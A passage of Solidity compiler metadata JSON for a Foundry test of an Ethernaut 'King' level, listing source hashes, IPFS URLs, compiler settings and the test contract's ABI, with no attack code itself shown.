3961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/KingAttack.sol\":{\"keccak256\":\"0x81d1d156759cc805d89fda0e7d1ad36d2a04328d2055507a3e8f945b74ac0b13\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0543146aba0a918517c20467a8bb8251bb4f174c860b3fae14b459463f924bc3\",\"dweb:/ipfs/QmeE9aT5Wr2n1fz1nngMFSSN8exbyvJCWZ2SR7EkpKWe35\"]},\"src/levels/King.sol\":{\"keccak256\":\"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca\",\"dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN\"]},\"src/levels/KingFactory.sol\":{\"keccak256\":\"0x4c50f8f43b57445519bf59220a6d1dd482865c30b40bfbe6c87b2a78d173b207\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e519b0267d94577fa4dcab2cf630f1fdc421ee3fd701a675ba3fd581daaeaf47\",\"dweb:/ipfs/QmRVnWxTmdbtB4L5bNXSGFdFVFxmXGWxrqx7mjqtxVMLb6\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/King.t.sol\":{\"keccak256\":\"0x81a47dfd5569910d89d162fdf4bbb8872f4193230743664e6158daa495707244\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8dc7a9a81a419f9786847d3f8fa4f137839b11d2c288805a54711197886faf79\",\"dweb:/ipfs/QmVnofuXVVkTSG2F48G8PxTWuvEq898LVDn4qpKLJ1erGr\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/King.t.sol":"TestKing"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794